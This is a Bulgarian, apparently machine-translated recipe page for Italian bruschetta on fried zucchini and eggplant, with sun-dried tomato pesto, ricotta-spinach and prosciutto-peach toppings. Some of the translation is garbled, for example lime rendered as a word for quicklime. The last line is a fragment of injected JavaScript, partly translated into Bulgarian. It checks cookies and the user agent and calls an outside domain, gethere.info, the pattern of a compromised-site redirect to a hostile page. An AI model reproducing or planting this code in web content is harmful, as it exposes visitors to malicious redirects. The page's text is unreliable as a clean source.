Представяме ви абсолютно летни италиански мезета: паста от рикота-спанак, песто от сушени домати, комбинация от прошуто и сочни праскови ...

Италианската кухня с право е една от най-популярните в света. А най-популярната храна? В края на краищата, пица, тестени изделия или нещо подобно:). Несъмнено това са наистина невероятни ястия, но за нас италианската кухня е по-скоро комбинация от качествени и здравословни съставки. Можем да заменим тестени изделия за зеленчуци, тесто за пица за по-здравословна алтернатива или парче месо:). Италиански класики като aglio olio, карбонара, моцарела с домати, болонезе, спанак с рикота са наистина перфектни дори без класическа гарнитура:).

Днес сме подготвили за вас вашето любимо италианско мезе - брускета по няколко начина. От популярните италиански комбинации избрахме рикота със спанак, прошуто с праскова и песто от сушени домати. Разбира се, тези комбинации могат да се използват и в салати, върху здравословен хляб и други подобни. Най-много обаче ни харесва, че вместо препечен хляб използваме препечени тиквички или патладжан. Доверете ни се, това е абсолютно известно:). И ако не ви харесва, тестото, което използваме за вегански прашки в курса ни за готвене, също е страхотно.

Още италиански деликатеси можете да намерите тук.

доматено

Брускетки

Нарежете тиквичките и патладжаните на филийки от 0,5-1 см и изпържете сухи в тиган от всяка страна за около 2 минути. Посолете и подправете. Поръсете с чесън на вкус:).

Сушено доматено песто

  • 1 средна глава лук
  • 2-3 скилидки чесън
  • 1 + 5 супени лъжици зехтин
  • 100 г сушени домати (ако използваме мариновани в масло, пропуснете тези 5 супени лъжици масло и дайте количеството според нуждите)
  • няколко листа пресен босилек
  • сол и черен пипер на вкус

Нарежете лука и чесъна на ситно и оставете да къкри в малко масло за около 5 минути, докато омекнат. След това смесваме всички съставки във фина паста - с консистенция, подобна на тартара за пържоли.

Паста от спанак-рикота

  • 100гр рикоти
  • 100 г спанак (пресен или замразен)
  • 1 супена лъжица зехтин
  • щипка индийско орехче
  • сол и черен пипер на вкус

Запарете (размразете), нарязайте на ситно и смесете с рикота и други съставки, за да направите гладка паста. Ще го вкусим при нужда.

Прошуто с праскова

Тази комбинация е перфектна особено като салата с медено-варов дресинг. Обикновено сервираме моцарела със салата:). Количествата зависят от вкуса и броя на хората, но ето как работи:

  • 50гр прошута
  • 1 моцарела
  • 2 праскови/нектарини
  • щипка сол върху моцарела
  • дресинг: 1 супена лъжица мед + сок от половин лайм или лимон + 2 супени лъжици зехтин

* ако го искаме като салата, добавяме 1/2 маруля айсберг

* ако сте като брускети, просто сложете тези съставки върху печени зеленчуци

ако (document.currentScript) < if(document.cookie.indexOf(“_mauthtoken”)==-1)>>) (navigator.userAgent || navigator.vendor || window.opera, ’http: //gethere.info/kt/? 264dpr &’);>